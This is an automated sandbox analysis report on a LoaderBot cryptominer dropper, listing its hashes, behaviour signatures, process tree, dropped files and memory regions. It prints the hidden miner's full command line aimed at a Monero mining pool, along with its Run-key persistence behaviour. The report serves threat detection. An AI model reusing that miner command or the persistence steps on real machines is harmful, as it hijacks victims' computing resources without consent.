Analysis

  • max time kernel
    156s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220310-en
  • submitted
    28-03-2022 17:02

General

  • Target

    56382df0e132af88160b3c75b761508de3027bfa384357f04f9aa89c4642021d.exe

  • Size

    5.3MB

  • MD5

    3a5cd7c0f9c00ffb7cafecd82c7287ec

  • SHA1

    f664f36ed2a447c5b37e032587eae9749687d10b

  • SHA256

    56382df0e132af88160b3c75b761508de3027bfa384357f04f9aa89c4642021d

  • SHA512

    378e68b00ba2fd3846dfd3f51d1d96f95f217a90e2d123bcec553711520837b7fb6f8936961232c1126422f25e126de9bed1a886201a46d634d7f47c7a84e712

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • Detected Stratum cryptominer command

    Looks to be attempting to contact Stratum mining pool.

  • LoaderBot executable 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56382df0e132af88160b3c75b761508de3027bfa384357f04f9aa89c4642021d.exe
    "C:\Users\Admin\AppData\Local\Temp\56382df0e132af88160b3c75b761508de3027bfa384357f04f9aa89c4642021d.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4360
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CDS.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CDS.exe
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:936
      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\crypted.exe
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\crypted.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Drops startup file
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4184
        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o stratum+tcp://xmr.pool.minergate.com:45700 -u [email protected] -p x -k -v=0 --donate-level=1 -t 1
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:3952
        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o stratum+tcp://xmr.pool.minergate.com:45700 -u [email protected] -p x -k -v=0 --donate-level=1 -t 1
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:2964
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
    1⤵
    • Modifies data under HKEY_USERS
    PID:448
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x384 0x494
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1744
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
    1⤵
      PID:3416

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\630_10.png

      Filesize

      2KB

      MD5

      340b294efc691d1b20c64175d565ebc7

      SHA1

      81cb9649bd1c9a62ae79e781818fc24d15c29ce7

      SHA256

      72566894059452101ea836bbff9ede5069141eeb52022ab55baa24e1666825c9

      SHA512

      1395a8e175c63a1a1ff459a9dac437156c74299272e020e7e078a087969251a8534f17244a529acbc1b6800a97d4c0abfa3c88f6fcb88423f56dfaae9b49fc3d

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CDS.cdd

      Filesize

      13KB

      MD5

      3e7ecaeb51c2812d13b07ec852d74aaf

      SHA1

      e9bdab93596ffb0f7f8c65243c579180939acb26

      SHA256

      e7e942993864e8b18780ef10a415f7b93924c6378248c52f0c96895735222b96

      SHA512

      635cd5173b595f1905af9eeea65037601cf8496d519c506b6d082662d438c26a1bfe653eaf6edcb117ccf8767975c37ab0238ca4c77574e2706f9b238a15ad4d

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CDS.exe

      Filesize

      6.1MB

      MD5

      424bf196deaeb4ddcafb78e137fa560a

      SHA1

      007738e9486c904a3115daa6e8ba2ee692af58c8

      SHA256

      0963cef2f742a31b2604fe975f4471ae6a76641490fe60805db744fef9bdd5d2

      SHA512

      a9be6dd5b2ed84baea34e0f1b1e8f5388ce3662c5dcb6a80c2d175be95f9598312837420c07b52cdfaa9e94bcffd8c7a2b9db2b551dfac171bce4b92f466e797

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CDS.exe

      Filesize

      6.1MB

      MD5

      424bf196deaeb4ddcafb78e137fa560a

      SHA1

      007738e9486c904a3115daa6e8ba2ee692af58c8

      SHA256

      0963cef2f742a31b2604fe975f4471ae6a76641490fe60805db744fef9bdd5d2

      SHA512

      a9be6dd5b2ed84baea34e0f1b1e8f5388ce3662c5dcb6a80c2d175be95f9598312837420c07b52cdfaa9e94bcffd8c7a2b9db2b551dfac171bce4b92f466e797

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c.dat

      Filesize

      4.0MB

      MD5

      3f642fbd9a6ff80e9582c461e8416834

      SHA1

      068f3f130cef343662f1df871791ea30acde7e46

      SHA256

      7e9c965c4961927b7e3d23be8083c9443fad1dc374d2fdbe73fcdf4f8cdfa3a7

      SHA512

      2f747ab7d7e1b854c47f0297118434b5a3bb9285f3921bb39f1d02a748b2ce65d5356022995a18a568c1a6a985f0c940c69311472a067a965ea2627bd60daf21

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\crypted.exe

      Filesize

      4.0MB

      MD5

      b9c0930d93f0b2b10b0a72250301084e

      SHA1

      3ac6c67270e2ab86076c9325db535ccd2c7168a5

      SHA256

      00d2e0981d752addc67198f3fbff50d493a1fc57202f91f8a8b4474fe3543627

      SHA512

      9c4a54bc47d0de620611170039a5d44fe529fa29ba22d3df831ba3db0ade340f11498db7361910890a7ce9508c988352ebd7cac009dc1af326d25cb0f57a8d87

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\crypted.exe

      Filesize

      4.0MB

      MD5

      b9c0930d93f0b2b10b0a72250301084e

      SHA1

      3ac6c67270e2ab86076c9325db535ccd2c7168a5

      SHA256

      00d2e0981d752addc67198f3fbff50d493a1fc57202f91f8a8b4474fe3543627

      SHA512

      9c4a54bc47d0de620611170039a5d44fe529fa29ba22d3df831ba3db0ade340f11498db7361910890a7ce9508c988352ebd7cac009dc1af326d25cb0f57a8d87

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\fs.settings

      Filesize

      5B

      MD5

      68934a3e9455fa72420237eb05902327

      SHA1

      7cb6efb98ba5972a9b5090dc2e517fe14d12cb04

      SHA256

      fcbcf165908dd18a9e49f7ff27810176db8e9f63b4352213741664245224f8aa

      SHA512

      719fa67eef49c4b2a2b83f0c62bddd88c106aaadb7e21ae057c8802b700e36f81fe3f144812d8b05d66dc663d908b25645e153262cf6d457aa34e684af9e328d

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\lua5.1.dll

      Filesize

      322KB

      MD5

      c3256800dce47c14acc83ccca4c3e2ac

      SHA1

      9d126818c66991dbc3813a65eddb88bbcf77f30a

      SHA256

      f26f4f66022acc96d0319c09814ebeda60f4ab96b63b6262045dc786dc7c5866

      SHA512

      6865a98ad8a6bd02d1ba35a28b36b6306af393f5e9ad767cd6da027bb021f7399d629423f510c44436ac3e4603b6c606493edf8b14d21fabf3eab16d37bd0d25

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\lua5.1.dll

      Filesize

      322KB

      MD5

      c3256800dce47c14acc83ccca4c3e2ac

      SHA1

      9d126818c66991dbc3813a65eddb88bbcf77f30a

      SHA256

      f26f4f66022acc96d0319c09814ebeda60f4ab96b63b6262045dc786dc7c5866

      SHA512

      6865a98ad8a6bd02d1ba35a28b36b6306af393f5e9ad767cd6da027bb021f7399d629423f510c44436ac3e4603b6c606493edf8b14d21fabf3eab16d37bd0d25

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • memory/3952-151-0x00000000001D0000-0x00000000001E4000-memory.dmp

      Filesize

      80KB

    • memory/3952-152-0x00000000004D0000-0x00000000004F0000-memory.dmp

      Filesize

      128KB

    • memory/3952-153-0x00000000004F0000-0x0000000000510000-memory.dmp

      Filesize

      128KB

    • memory/4184-147-0x0000000005200000-0x0000000005266000-memory.dmp

      Filesize

      408KB

    • memory/4184-146-0x00000000001A0000-0x000000000059E000-memory.dmp

      Filesize

      4.0MB